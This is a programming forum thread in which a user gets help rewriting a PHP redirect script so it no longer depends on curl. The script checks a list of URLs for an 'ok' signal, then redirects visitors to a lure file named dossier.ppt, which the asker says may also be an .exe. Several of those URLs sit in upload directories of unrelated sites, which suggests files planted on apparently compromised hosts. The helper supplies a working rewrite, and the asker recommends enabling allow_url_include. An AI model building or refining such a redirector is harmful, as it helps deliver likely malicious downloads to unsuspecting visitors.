Curl To php Redirect

I want to change this code to php curl
to work in any php


<?php
//////////////
////LINKS
/////////////////////////////////////////////////////////////////////////////////////////////////////////////
$pagina[0] = 'http://maxxxxis.dominiotemporario.com/download/Robots';
$linkkk[0] = 'http://maxxxxis.dominiotemporario.com/download/dossier.ppt';

$pagina[1] = 'http://www.kawanishis.co.jp/AWT/editor/filemanager/upload/php/upload.phpRobots.html';
$linkkk[1] = 'http://www.kawanishis.co.jp/AWT/editor/filemanager/upload/php/dossier.ppt';

$pagina[2] = 'http://opcsuper.com//var/upload/Robots.html';
$linkkk[2] = 'http://opcsuper.com//var/upload/dossier.ppt';

$pagina[3] = 'http://vipnetcom.com/uploads/Robots.txt';
$linkkk[3] = 'http://vipnetcom.com/uploads/dossier.ppt';

$pagina[4] = 'http://maxxxxis.dominiotemporario.com/download/Robots';
$linkkk[4] = 'http://maxxxxis.dominiotemporario.com/download/dossier.ppt';

$pagina[5] = 'http://maxxxxis.dominiotemporario.com/download/Robots';
$linkkk[5] = 'http://maxxxxis.dominiotemporario.com/download/dossier.ppt';

$pagina[6] = 'http://maxxxxis.dominiotemporario.com/download/Robots';
$linkkk[6] = 'http://maxxxxis.dominiotemporario.com/download/dossier.ppt';

//////////////
////Configs
/////////////////////////////////////////////////////////////////////////////////////////////////////////////
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $pagina[0] );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
$retorno = curl_exec( $ch );
if (trim($retorno) == 'ok') {
header("location: $linkkk[0]");
exit;
}
curl_close( $ch );
/////////////////////////////////////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////////////////////////////////////
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $pagina[1] );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
$retorno = curl_exec( $ch );
if (trim($retorno) == 'ok') {
header("location: $linkkk[1]");
exit;
}
curl_close( $ch );
/////////////////////////////////////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////////////////////////////////////
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $pagina[2] );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
$retorno = curl_exec( $ch );
if (trim($retorno) == 'ok') {
header("location: $linkkk[2]");
exit;
}
curl_close( $ch );
/////////////////////////////////////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////////////////////////////////////
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $pagina[3] );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
$retorno = curl_exec( $ch );
if (trim($retorno) == 'ok') {
header("location: $linkkk[3]");
exit;
}
curl_close( $ch );
/////////////////////////////////////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////////////////////////////////////
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $pagina[4] );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
$retorno = curl_exec( $ch );
if (trim($retorno) == 'ok') {
header("location: $linkkk[4]");
exit;
}
curl_close( $ch );
/////////////////////////////////////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////////////////////////////////////
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $pagina[5] );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
$retorno = curl_exec( $ch );
if (trim($retorno) == 'ok') {
header("location: $linkkk[5]");
exit;
}
curl_close( $ch );
/////////////////////////////////////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////////////////////////////////////
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $pagina[6] );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
$retorno = curl_exec( $ch );
if (trim($retorno) == 'ok') {
header("location: $linkkk[6]");
exit;
}
curl_close( $ch );
/////////////////////////////////////////////////////////////////////////////////////////////////////////////
?>
OppitalAsked:
Who is Participating?
 
Ray PaseurCommented:
CURL only needs to be activated on YOUR host - not on other hosts, so if you run this application on a host that offers CURL you will be OK.

The default CURL settings are mostly what you are using, so your access to the foreign sites looks like HTTP GET.  Other things that will work like CURL in this situation include file_get_contents() and fopen(), followed by fgets().  However all of these methods of accessing a foreign site have the same issues - a hosting service may disable them.  Choose a host that supports "allow url fopen" and you should be OK.

Best regards, ~Ray
<?php // RAY_temp_oppital.php
error_reporting(E_ALL);
//////////////
////LINKS
/////////////////////////////////////////////////////////////////////////////////////////////////////////////
$pagina[0] = 'http://maxxxxis.dominiotemporario.com/download/Robots';
$linkkk[0] = 'http://maxxxxis.dominiotemporario.com/download/dossier.ppt';

$pagina[1] = 'http://www.kawanishis.co.jp/AWT/editor/filemanager/upload/php/upload.phpRobots.html';
$linkkk[1] = 'http://www.kawanishis.co.jp/AWT/editor/filemanager/upload/php/dossier.ppt';

$pagina[2] = 'http://opcsuper.com//var/upload/Robots.html';
$linkkk[2] = 'http://opcsuper.com//var/upload/dossier.ppt';

$pagina[3] = 'http://vipnetcom.com/uploads/Robots.txt';
$linkkk[3] = 'http://vipnetcom.com/uploads/dossier.ppt';

$pagina[4] = 'http://maxxxxis.dominiotemporario.com/download/Robots';
$linkkk[4] = 'http://maxxxxis.dominiotemporario.com/download/dossier.ppt';

$pagina[5] = 'http://maxxxxis.dominiotemporario.com/download/Robots';
$linkkk[5] = 'http://maxxxxis.dominiotemporario.com/download/dossier.ppt';

$pagina[6] = 'http://maxxxxis.dominiotemporario.com/download/Robots';
$linkkk[6] = 'http://maxxxxis.dominiotemporario.com/download/dossier.ppt';

//////////////
////Configs
/////////////////////////////////////////////////////////////////////////////////////////////////////////////

// SET A COUNTER TO KEEP THE PAGINA AND LINKKK ARRAYS LINED UP
$counter = 0;

// ITERATE OVER ONE ARRAY
foreach ($pagina as $p_link)
{
    // GET THE FOREIGN URL
    $f_link = $linkkk[$counter];
    
    // READ THE DATA FROM THE PAGINA URL
    $signal = trim(file_get_contents($p_link));
    
    // IF THE PAGINA URL SAYS OK, GO TO THE FOREIGN URL
    if ($signal == 'ok')
    {
        header("Location:$f_link");
        exit;
    }
    
    // IF WE FALL THROUGH TO HERE, INCREMENT THE COUNTER AND GO TO THE NEXT ITERATION
    $counter++;
}

// IF WE FALL THROUGH TO HERE, THERE WAS NO 'ok' SIGNAL
die( "FAIL" );

Open in new window

0
 
OppitalAuthor Commented:
tips:
use
allow_url_fopen
allow_url_include
0
 
Ray PaseurCommented:
As written, this code should work.  It looks like it will try to open each "pagina" URL and if it gets back lower case 'ok' and nothing more (except perhaps whitespace) it will transfer control to the corresponding 'linkkk' PowerPoint file.  If the pagina URL does not give you back the 'ok', the script will fall through to the next pagina URL, until all are exhausted.

(not sure what your browser might do with a direct link to a PPT file)

What would you like to change about it?
0
Cloud Class® Course: C++ 11 Fundamentals

This course will introduce you to C++ 11 and teach you about syntax fundamentals.

 
OppitalAuthor Commented:
The file is only one example, can be any file format (. Zip,. Rar,. Wmv,. Ogg,. Exe)
I need to make it work without relying on the curl
0
 
Ray PaseurCommented:
Well, there would be no obstacles to using other file formats besides PowerPoint.  

But I am not sure I understand - what do you want it to do in order to "work" and why is reliance on CURL a problem?  If you can explain a little more, maybe  I can help.  Thanks, ~Ray
0
 
OppitalAuthor Commented:
Mr. Ray, I use a translator (google), sorry
The idea is to transform to work only with PHP
some hosts do not activate the curl
0
 
OppitalAuthor Commented:
Perfect
0
Question has a verified solution.

Are you are experiencing a similar issue? Get a personalized answer when you ask a related question.

Have a better answer? Share it in a comment.

All Courses

From novice to tech pro — start learning today.